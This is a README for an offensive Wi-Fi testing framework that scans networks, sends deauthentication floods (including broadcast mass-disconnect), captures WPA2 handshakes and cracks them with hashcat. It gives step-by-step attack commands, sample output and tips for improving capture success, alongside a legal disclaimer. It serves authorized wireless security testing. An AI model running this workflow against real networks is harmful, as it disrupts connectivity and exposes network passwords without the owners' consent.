🛡️ Wi-Fi Security Testing Framework

Enterprise-Grade Wireless Network Security Assessment Platform

╔═══════════════════════════════════════════════════════════════════════════╗
║  Zero Shell Dependencies  │  Real-Time Packet Processing  │  Kernel Watchdog ║
║  Thread-Safe Operations   │  Autonomous Recovery          │  Memory-Safe     ║
╚═══════════════════════════════════════════════════════════════════════════╝

Features • Quick Start • Installation • Architecture • License

---

---

📋 Table of Contents

• Overview
• Features
• Architecture
• Requirements
• Installation
• Quick Start
• Usage Examples
• Advanced Features
• Project Structure
• Technical Details
• Troubleshooting
• Contributing
• Legal Disclaimer
• License
• Credits

---

🎯 Overview

This framework provides a complete wireless security assessment toolkit that combines passive reconnaissance, real-time packet capture, deauthentication attacks, and WPA/WPA2 handshake capture in a single, cohesive pipeline. Built with enterprise reliability in mind, it features autonomous driver recovery, thread-safe operations, and comprehensive error handling.

What Makes This Different?

• Zero Shell Dependencies: Direct kernel interaction via pyroute2 RTNL/nl80211 APIs (no iw, airmon-ng, ifconfig)
• Real-Time Packet Processing: Scapy AsyncSniffer with in-process 802.11 frame parsing (no CSV files, no airodump-ng)
• Kernel Watchdog: Autonomous driver panic detection and recovery via debugfs + RTNL event monitoring
• Production-Ready: Thread-safe, memory-leak-free, with graceful degradation on hardware failures
• Offensive Capabilities: Precision deauthentication with dual-spoofing + EAPOL handshake capture

---

✨ Features

🔍 Reconnaissance Phase

• Real-Time AP Discovery: Live 802.11 beacon/probe response parsing
• Detailed Network Intelligence: BSSID, ESSID, channel, encryption (WPA2/WPA3/WEP/OPEN), signal strength, frequency
• Hidden Network Detection: Captures networks without broadcast SSID
• Concurrent Monitoring: Non-blocking capture with progress updates

⚔️ Offensive Phase

• Precision Deauthentication: Dual-spoofing (AP→Client + Client→AP) to bypass basic protections
• Broadcast Targeting: Mass disconnection mode (FF:FF:FF:FF:FF:FF)
• EAPOL Handshake Capture: Real-time 4-way handshake extraction with incremental .pcap writing
• Crash-Resilient: Survives driver resets mid-capture (sync flush after every frame)
• Auto-Target Selection: Strongest encrypted AP or explicit BSSID targeting

🛠️ Infrastructure

• Kernel Watchdog: Monitors debugfs counters + RTNL link events → auto-recovery via modprobe -r/modprobe
• Thread-Safe Logging: Double-checked locking, session-scoped file handlers, DEBUG + INFO streams
• Process Group Management: start_new_session=True + killpg for clean termination
• Graceful Cleanup: Interface restoration even on KeyboardInterrupt or crashes

---

🏗️ Architecture

┌─────────────────────────────────────────────────────────────────────┐
│                          main.py (CLI Entry Point)                   │
│                         argparse + orchestrator                      │
└────────────────────────────┬────────────────────────────────────────┘
                             │
                             ▼
┌─────────────────────────────────────────────────────────────────────┐
│                    core/orchestrator.py (Pipeline)                   │
│  ┌───────────────────────────────────────────────────────────────┐  │
│  │ Phase 1: Observability → kernel_watchdog.start()             │  │
│  │ Phase 2: Control Plane → netlink_ctrl.enable_monitor_mode()  │  │
│  │ Phase 3: Data Plane    → capture_engine.stream()             │  │
│  │ Phase 4: Offensive     → injector + eapol_capture            │  │
│  │ Cleanup: Restore       → netlink_ctrl.disable_monitor_mode() │  │
│  └───────────────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────────────┘
                             │
        ┌────────────────────┼────────────────────┐
        ▼                    ▼                    ▼
┌──────────────┐   ┌──────────────────┐   ┌─────────────────┐
│ netlink_ctrl │   │ capture_engine   │   │ kernel_watchdog │
│ (pyroute2)   │   │ (Scapy)          │   │ (debugfs/RTNL)  │
├──────────────┤   ├──────────────────┤   ├─────────────────┤
│ • RTNL link  │   │ • AsyncSniffer   │   │ • DebugFS poll  │
│ • nl80211    │   │ • 802.11 parser  │   │ • RTNL monitor  │
│ • iftype set │   │ • AP extraction  │   │ • Auto-recovery │
└──────────────┘   └──────────────────┘   └─────────────────┘
                             │
        ┌────────────────────┼────────────────────┐
        ▼                    ▼                    ▼
┌──────────────┐   ┌──────────────────┐   ┌─────────────────┐
│  injector    │   │  eapol_capture   │   │     logger      │
│ (Deauth Tx)  │   │ (Handshake Rx)   │   │ (Thread-safe)   │
├──────────────┤   ├──────────────────┤   ├─────────────────┤
│ • Dual-spoof │   │ • BPF filter     │   │ • Session file  │
│ • Broadcast  │   │ • PcapWriter     │   │ • Console INFO  │
│ • Tx pacing  │   │ • sync=True      │   │ • DEBUG to disk │
└──────────────┘   └──────────────────┘   └─────────────────┘

Four-Phase Pipeline

1. Observability Start: Kernel watchdog spawns daemon threads (debugfs + RTNL monitoring)
2. Monitor Mode Transition: RTNL/nl80211 sets interface type to monitor + brings link up
3. AP Discovery: AsyncSniffer captures beacons/probe responses → real-time parsing
4. Offensive Operations (optional): Deauth injection + EAPOL handshake capture with Tx/Rx synchronization
5. Cleanup: Restore interface to managed mode, stop watchdog, flush logs

---

📦 Requirements

🖥️ System Requirements

Component	Requirement
OS	Linux (kernel ≥ 4.4)
Python	3.10 or higher
Privileges	Root / sudo (hardware operations)
Driver Stack	mac80211 (monitor mode support)

📡 Supported Hardware

Your Wi-Fi adapter must support true monitor mode (ARPHRD_IEEE80211_RADIOTAP).

Verify monitor mode capability:

sudo iw dev wlan0 set type monitor
iw dev wlan0 info | grep type  # Should show "monitor"

✅ Tested Chipsets

Driver	Chipsets	Injection Support
ath9k	AR9271, AR9280, AR9285, AR9287	✅ Excellent
ath10k	QCA9377, QCA6174, QCA9887	✅ Good
mt76	MT7612U, MT7610U, MT7921	✅ Good
rtw88	RTL8822BE, RTL8821CE	⚠️ Limited
rtl8812au	RTL8812AU, RTL8814AU (DKMS)	✅ Excellent

💡 Note: Realtek USB adapters (rtl88xx) often require out-of-tree drivers. See Aircrack-ng compatibility list.

🐍 Python Dependencies

# Core dependencies
pip install pyroute2 scapy

# Optional (for development)
pip install pytest black mypy

📦 System Packages

# Debian / Ubuntu / Kali Linux
sudo apt update
sudo apt install iw iproute2 python3-pip

# Arch Linux
sudo pacman -S iw iproute2 python-pip

# Fedora / RHEL
sudo dnf install iw iproute python3-pip

💡 Note: aircrack-ng is not required for core functionality but useful for post-capture analysis.

---

🚀 Installation

Standard Installation

# 1. Clone the repository
git clone https://github.com/AliAkgun0/wifi-security-framework
cd wifi-security-framework

# 2. Install Python dependencies
pip3 install -r requirements.txt

# 3. Verify installation
sudo python3 main.py --help

Virtual Environment (Recommended)

# Create isolated Python environment
python3 -m venv .venv
source .venv/bin/activate

# Install dependencies
pip install -r requirements.txt

# Verify
python3 main.py --help

Pre-Deployment Checks

# 1. Verify root access
sudo whoami  # Should print "root"

# 2. Check rfkill status
rfkill list all
# If "Soft blocked: yes" → Run: rfkill unblock wifi
# If "Hard blocked: yes" → Enable Wi-Fi via hardware switch/BIOS

# 3. Verify monitor mode support
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up
iw dev wlan0 info  # type: monitor

# 4. Restore to managed mode
sudo ip link set wlan0 down
sudo iw dev wlan0 set type managed
sudo ip link set wlan0 up

Driver Optimization (Optional)

For ath9k/ath10k chipsets, disable hardware encryption:

echo "options ath9k nohwcrypt=1" | sudo tee /etc/modprobe.d/ath9k.conf
sudo modprobe -r ath9k
sudo modprobe ath9k

---

⚡ Quick Start

Basic Reconnaissance

# Scan for Wi-Fi networks (15 seconds)
sudo python3 main.py wlan0

# Custom scan duration
sudo python3 main.py wlan0 --scan-time 30

Offensive Operations

# Auto-target strongest encrypted AP
sudo python3 main.py wlan0 --exploit

# Target specific BSSID
sudo python3 main.py wlan0 --exploit --target AA:BB:CC:DD:EE:FF

# Advanced parameters
sudo python3 main.py wlan0 --exploit --target AA:BB:CC:DD:EE:FF --deauth-count 128 --handshake-timeout 45

---

📚 Usage Examples

Example 1: Network Discovery

sudo python3 main.py wlan0 --scan-time 30

Output:

[INFO] AP | bssid=AA:BB:CC:DD:EE:FF ch=6   enc=WPA2     rssi=-42 dBm essid=HomeNetwork
[INFO] AP | bssid=11:22:33:44:55:66 ch=11  enc=WPA3-SAE rssi=-58 dBm essid=Neighbor5G
[INFO] Discovery complete - 2 access point(s) found

Example 2: Handshake Capture

sudo python3 main.py wlan0 --exploit --target AA:BB:CC:DD:EE:FF

Output:

[Phase 4] Starting EAPOL capture (pre-injection)
[Phase 4] Launching deauth injection burst
[Phase 4] Injection complete | frames=128 duration=6.40s
[Phase 4] EAPOL frame captured | total=4
[Phase 4] SUCCESS | Handshake captured | pcap=./reports/handshake_AABBCCDDEEFF_20260608_211543.pcap

Example 3: Cracking with hashcat

# Convert PCAP to hashcat format
hcxpcapngtool -o hash.hc22000 reports/handshake_*.pcap

# Dictionary attack
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

# Brute force
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d

---

🔧 Advanced Features

Kernel Watchdog

Monitors driver health via debugfs + RTNL link events. Auto-recovers on:

• Tx queue stuck
• Hardware scan timeout
• Interface down events

# Enable watchdog (default)
sudo python3 main.py wlan0 --exploit

# Disable watchdog (debugging only)
sudo python3 main.py wlan0 --exploit --no-watchdog

Standalone Testing

# Test injection only
sudo python3 test_offensive.py --mode inject --iface wlan0mon --target AA:BB:CC:DD:EE:FF

# Test EAPOL capture only
sudo python3 test_offensive.py --mode capture --iface wlan0mon --target AA:BB:CC:DD:EE:FF

# Test full exploit cycle
sudo python3 test_offensive.py --mode exploit --iface wlan0mon --target AA:BB:CC:DD:EE:FF

---

📂 Project Structure

wifi-security-framework/
├── 📄 main.py                   # CLI entry point (argparse)
├── 🧪 test_offensive.py         # Standalone test harness
├── 📋 requirements.txt          # Python dependencies
├── 📜 LICENSE                   # Educational & Authorized Testing License
│
├── 🔧 core/                     # Core modules
│   ├── orchestrator.py          # Pipeline coordinator (4 phases)
│   ├── netlink_ctrl.py          # RTNL/nl80211 interface control
│   ├── capture_engine.py        # Scapy AsyncSniffer + 802.11 parser
│   ├── kernel_watchdog.py       # DebugFS/RTNL health monitor
│   ├── injector.py              # Deauth packet forging (Scapy)
│   ├── eapol_capture.py         # WPA handshake capture
│   ├── executor.py              # Subprocess manager (legacy)
│   ├── parser.py                # IPC protocol parser (legacy)
│   └── logger.py                # Thread-safe logging factory
│
├── 📜 modules/                  # Legacy BASH wrappers (compatibility)
│   ├── monitor_mode.sh          # Calls netlink_ctrl
│   ├── discovery.sh             # Calls capture_engine
│   └── cleanup.sh               # Calls netlink_ctrl
│
├── 📊 logs/                     # Session logs (auto-created)
└── 📦 reports/                  # Captured handshakes (auto-created)

---

🔬 Technical Details

Thread Safety

• Logger: Double-checked locking on handler creation
• Injector: Internal lock serializes sendp() calls
• EAPOL Capture: PcapWriter lock prevents race conditions
• AsyncSniffer: store=False prevents memory leaks

Synchronization Strategy (Exploit Phase)

t=0s    → EAPOL capture starts (background thread)
t=2s    → Sniffer ready (grace period)
t=2s    → Deauth injection begins
t=8s    → Injection complete (128 frames @ 0.1s interval)
t=8-38s → Handshake capture window (30s timeout)
t=38s   → EAPOL capture stops, pcap flushed

Driver Protection

• Tx Queue Protection: Minimum 0.1s inter-frame interval
• Crash Recovery: Watchdog detects panics → modprobe -r/modprobe
• Data Durability: PcapWriter(sync=True) → immediate disk flush

Memory Safety

• AsyncSniffer(store=False) → no packet accumulation
• Generator-based streaming → constant memory usage
• Daemon threads → auto-cleanup on exit

---

🐛 Troubleshooting

Issue: "No EAPOL frames captured"

Possible Causes:

1. No active clients on target AP

   # Verify clients exist before attacking
   sudo airodump-ng wlan0mon --bssid AA:BB:CC:DD:EE:FF --channel 6

2. WPA3-SAE only network (no WPA2 fallback)

   • This tool captures WPA2 4-way handshakes only
   • WPA3-SAE uses different authentication frames

3. PMF (Protected Management Frames) enabled

   • Deauth attacks are blocked by IEEE 802.11w
   • Try targeting older APs without PMF

4. Injection not working

   # Test injection capability
   sudo aireplay-ng --test wlan0mon

Issue: "Monitor mode failed"

# Check if interface exists
ip link show wlan0

# Check if already in use
sudo airmon-ng check kill  # Stops conflicting processes

# Manual monitor mode
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo ip link set wlan0 up

Issue: "Permission denied"

# Verify root access
sudo whoami  # Must output "root"

# Run with sudo
sudo python3 main.py wlan0 --exploit

# Or switch to root shell
sudo -i
cd /path/to/wifi-security-framework
python3 main.py wlan0 --exploit

Issue: "Interface not found after watchdog recovery"

This is expected behavior. The watchdog reloads the driver (modprobe -r/modprobe), which recreates the interface. The framework handles this automatically.

Issue: "Driver panic / system freeze"

For ath9k:

echo "options ath9k nohwcrypt=1" | sudo tee /etc/modprobe.d/ath9k.conf
sudo modprobe -r ath9k && sudo modprobe ath9k

For rtl88xx:

• Reduce --deauth-count to 32
• Increase interval (code modification required)

Issue: "Low handshake capture success rate"

Improvements:

1. Stronger signal: Move closer to AP (target RSSI > -60 dBm)
2. More deauth frames: --deauth-count 128
3. Longer timeout: --handshake-timeout 45.0
4. Verify active clients: Use airodump-ng to confirm client presence
5. Check channel: Ensure interface is on correct channel

---

🤝 Contributing

Contributions are welcome! Please follow these guidelines:

Reporting Bugs

Open an issue with:

• OS & kernel version: uname -a
• Wi-Fi chipset: lspci | grep -i wireless or lsusb | grep -i wireless
• Driver: lsmod | grep -E "ath|rtw|mt76"
• Full error log: Attach logs/*_session.log

Pull Requests

1. Fork the repository
2. Create a feature branch: git checkout -b feature/amazing-feature
3. Follow existing code style (PEP 8, type hints)
4. Add tests if applicable
5. Update documentation
6. Submit PR with detailed description

Development Setup

# Install dev dependencies
pip install -r requirements-dev.txt  # (if exists)

# Run tests
pytest tests/

# Code formatting
black core/ main.py test_offensive.py

# Type checking
mypy core/ main.py

---

⚖️ Legal Disclaimer

⚠️ CRITICAL: READ BEFORE USE

This framework is designed exclusively for:

✅ PERMITTED USES
🎓 Educational purposes in controlled lab environments
🔬 Security research on networks you own or control
🔐 Authorized penetration testing with explicit written permission
🎯 CTF competitions and authorized security challenges
💼 Professional security services using the tool internally for authorized assessments

🚫 UNAUTHORIZED USE IS ILLEGAL

❌ PROHIBITED ACTIVITIES
Testing networks without explicit written authorization
Intercepting communications you are not authorized to access
Disrupting network services without permission
Any activity violating local, state, federal, or international laws
Selling, licensing, or commercially distributing this software

⚖️ Legal Frameworks

Unauthorized use may violate:

🇺🇸 United States	Computer Fraud and Abuse Act (CFAA) 18 U.S.C. § 1030
🇪🇺 European Union	Directive 2013/40/EU (Attacks against information systems)
🇬🇧 United Kingdom	Computer Misuse Act 1990
🌍 International	Council of Europe Convention on Cybercrime (Budapest Convention)

Violation of these laws can result in:

• 🚔 Criminal prosecution and felony charges
• ⚖️ Civil liability and substantial damages
• 🔒 Imprisonment (up to 20+ years in severe cases)
• 💰 Substantial fines and penalties
• 📋 Permanent criminal record

✅ Responsible Use Requirements

Before using this tool, you MUST:

1. 📝 Obtain Written Authorization: Explicit written permission from the network/system owner
2. 🎯 Define Scope of Engagement: Clear documentation of what can and cannot be tested
3. 📊 Document All Activities: Maintain detailed logs for accountability
4. 🔒 Follow Professional Standards: Adhere to PTES, OWASP, NIST guidelines
5. 🤝 Practice Responsible Disclosure: Report findings through proper channels

⚠️ User Responsibility

YOU ASSUME ALL LEGAL RESPONSIBILITY. The authors and contributors:

• Do NOT authorize illegal or unauthorized use
• Are NOT LIABLE for any misuse of this software
• Provide this tool "AS IS" without any warranty

By using this software, you acknowledge that you have read and understood the LICENSE file and agree to be bound by its terms.

---

📜 License

This project is licensed under the Educational and Authorized Security Testing License.

License Summary

Permission	Status	Notes
🎓 Educational Use	✅	Academic, training, personal learning
🔐 Professional Penetration Testing	✅	As an internal tool with written authorization
🔬 Security Research	✅	On systems you own or have permission to test
🎯 CTF Competitions	✅	Authorized security challenges
📚 Studying & Modifying Code	✅	For learning and improvement
🚫 Commercial Distribution	❌	Selling, licensing, or product integration prohibited
🚫 Unauthorized Access	❌	Illegal and strictly prohibited
🚫 Malicious Use	❌	Criminal activity prohibited

Key Clarifications

✅ You MAY:

• Use this tool as part of professional penetration testing services (when properly authorized)
• Deliver security assessment reports to clients using findings from this tool
• Earn revenue from security services where this tool is used internally

❌ You MAY NOT:

• Sell or license the software itself to clients or third parties
• Incorporate the software into commercial products or services
• Distribute the software as part of SaaS/PaaS offerings
• Provide the software to clients for their direct use

The distinction: You're selling your expertise and deliverables, not the software itself.

Full License Text

The complete license terms can be found in the LICENSE file.

Key sections include:

• Detailed definitions of permitted and prohibited uses
• Professional security services clarifications
• Warranty disclaimers and liability limitations
• User obligations and indemnification
• Export compliance and jurisdiction provisions

💡 For commercial licensing inquiries or questions about permitted uses, please contact the copyright holders.

---

🏆 Credits

Core Technologies

Inspired By

aircrack-ng • wifite2 • bettercap

Special Thanks

🙏 Kali Linux team for maintaining security testing tools
🙏 mac80211 kernel developers
🙏 Open-source security community

---

🌟 Star History

If this project helped you, consider giving it a ⭐ on GitHub!

---

Built with ❤️ for the security research community

Remember: With great power comes great responsibility.

⬆ Back to Top